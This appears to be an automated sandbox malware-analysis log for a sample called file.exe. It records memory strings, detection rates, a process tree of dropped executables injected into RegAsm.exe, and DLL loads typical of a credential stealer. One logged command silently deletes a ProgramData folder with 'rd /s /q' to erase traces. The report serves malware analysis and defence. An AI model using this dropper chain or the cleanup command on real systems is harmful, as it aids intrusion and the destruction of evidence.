Source: RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2665362322.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3065991544.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3043954792.000000001B33C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2665362322.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3065991544.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3043954792.000000001B33C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2665362322.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3065991544.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3043954792.000000001B33C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000012.00000002.3065991544.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3043954792.000000001B33C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3065991544.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3043954792.000000001B33C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3065991544.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3043954792.000000001B33C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 50%
Source: file.exe	Virustotal: Detection: 52%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\KECBKKEBKE.exe "C:\ProgramData\KECBKKEBKE.exe"
Source: C:\ProgramData\KECBKKEBKE.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\KECBKKEBKE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\KECBKKEBKE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\EGDGCGCFHI.exe "C:\ProgramData\EGDGCGCFHI.exe"
Source: C:\ProgramData\EGDGCGCFHI.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EGDGCGCFHI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\EGDGCGCFHI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\DBGIJEHIID.exe "C:\ProgramData\DBGIJEHIID.exe"
Source: C:\ProgramData\DBGIJEHIID.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\DBGIJEHIID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\DBGIJEHIID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\FIJKEHJJDAAK" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userGIEGHJEGHJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userGIEGHJEGHJ.exe "C:\Users\userGIEGHJEGHJ.exe"
Source: C:\Users\userGIEGHJEGHJ.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJEGDBGDBF.exe"
Source: C:\Users\userGIEGHJEGHJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userIJEGDBGDBF.exe "C:\Users\userIJEGDBGDBF.exe"
Source: C:\Users\userIJEGDBGDBF.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\userIJEGDBGDBF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\KECBKKEBKE.exe "C:\ProgramData\KECBKKEBKE.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\EGDGCGCFHI.exe "C:\ProgramData\EGDGCGCFHI.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\DBGIJEHIID.exe "C:\ProgramData\DBGIJEHIID.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\FIJKEHJJDAAK" & exit	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userGIEGHJEGHJ.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJEGDBGDBF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userGIEGHJEGHJ.exe "C:\Users\userGIEGHJEGHJ.exe"
Source: C:\Users\userGIEGHJEGHJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userIJEGDBGDBF.exe "C:\Users\userIJEGDBGDBF.exe"
Source: C:\Users\userIJEGDBGDBF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
